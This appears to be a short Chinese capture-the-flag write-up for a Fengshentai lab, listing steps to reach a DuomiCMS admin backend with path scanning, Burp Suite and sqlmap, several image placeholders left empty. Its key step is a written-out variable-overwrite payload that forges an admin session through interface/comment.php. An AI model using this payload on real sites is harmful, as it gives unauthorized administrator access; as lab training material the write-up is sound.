封神台尤里的复仇Ⅲ 渗透 看你是否能进入后台

1. 使用御剑扫描 后台路径

   1. 

2. 使用burpsuite 抓包获取信息

   1. 

3. 使用sqlmap扫描看是否有注入漏洞

   1. 
   2. 

   3. 这是1.txt里面内容是抓包的信息

   4. 

4. 扫描未发现注入点寻找cms的漏洞

   1. 百度搜索 duomicms漏洞 （下面为讲解cms漏洞原理的文章）
      1. Duomicms_X2.0变量覆盖通杀漏洞复现_Mr.95的博客-CSDN博客
      2. 【网络安全】Duomicms的变量覆盖漏洞从白盒测试到实战 - 知乎 (zhihu.com)​​​​​

5. 封神台传送门网址 ​​​​​​​ 进行渗透

   1. http://pu2lh35s.ia.aqlab.cn/tiesan/upload/

   2. interface/comment.php_SESSION[duomi_ckstr]=dfwb&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin&_SESSION[duomi_group_id]=1​

   3. 将网址 和 注入 漏洞拼接  具体看上面文章  得到如下图
   4. 
   5. 再次登录后台界面  如下图  找到 微信的flag
   6.